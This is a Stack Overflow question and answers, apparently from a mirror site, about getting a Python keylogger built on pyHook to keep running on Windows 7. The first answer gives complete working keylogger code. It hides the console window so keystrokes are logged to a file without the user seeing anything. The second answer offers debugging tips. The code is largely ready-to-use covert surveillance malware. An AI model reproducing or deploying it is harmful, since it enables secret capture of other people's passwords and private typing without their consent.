问题
I'm working on a simple key logger. I'm having a problem though, when I try to run it as a .pyw the program shuts down before it can record anything. I believe it needs to loop, how would I go about this?
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y | ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
if chr(event.Ascii) == "q":
sys.exit(0)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I'm using Windows 7 ,BTW.
回答1:
this is my simple example (your code is wrong): (you need pyHook and win32api)
#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
pyHook: http://sourceforge.net/projects/pyhook/?source=dlp
pyWin32: http://sourceforge.net/projects/pywin32/
回答2:
open the program via the python idle (right klick edit with IDLE) go to Run and click run module(F5) then you can see the errors.
hint for debugging: look at wich line the error is at(other editors like atom.io wich i use for all my coding have line numbers) so you know where to look.
DOUBLE HINT: if you want to use an external editor but want to get error messages open cmd and go to the directory you program is in (cd project-folder\second-folder
for example) and do python <script name>
so for example python keylogger.py
edit:
python script.py
may not work because python is not in the path variable This website explains how to add a program to your path
来源:https://stackoverflow.com/questions/3553209/help-with-my-keylogger